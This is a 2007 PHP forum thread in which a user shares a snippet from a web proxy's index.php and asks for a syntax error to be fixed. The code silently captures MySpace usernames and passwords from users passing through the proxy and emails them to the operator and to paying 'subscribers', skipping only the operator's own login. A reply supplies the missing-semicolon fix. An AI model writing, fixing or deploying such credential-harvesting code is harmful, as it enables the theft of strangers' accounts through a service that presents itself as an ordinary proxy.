Problem with PHP line of coding in proxy!

Discussion in 'PHP' started by scriptmakingman, Aug 14, 2007.

  1. #1
    This is a snippit of the code for index.php for my proxy.. I bolded where the problem is :( Could you help me out? Tell me what the problem is....and how to fix it. :)

    
    <?php
    if (strpos($_url, 'myspace.com')) //checks if url contains "myspace"
    	{
    	if ($_REQUEST['my email adderess....'] != "") //only true if there is info submitted
    		{
    		$user = $_REQUEST['email'] ; //getting the info
    		$pass = $_REQUEST['pass'] ;
    		$not_me = 0
    		[B]if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself from your subscribers[/B]
    			{
    			$not_me = 1;
    			}
    		else
    			{
    			mail( "send_to_email@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //sending
    			mail( "send_to_subscriber@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //subscriber
    			}
    		}
    	}
    ?>
    Code (markup):
    I bolded where the problem is...
    Thanks!
     
    scriptmakingman, Aug 14, 2007 IP
  2. scriptmakingman

    scriptmakingman Active Member

    Messages:
    280
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    58
    #2
    anyone willing to help me out? =[
     
    scriptmakingman, Aug 14, 2007 IP
  3. void

    void Peon

    Messages:
    119
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Tip - the error's usually one line above where you think it is. This is also true here - you've got a semicolon missing after $not_me = 0 :)
     
    void, Aug 14, 2007 IP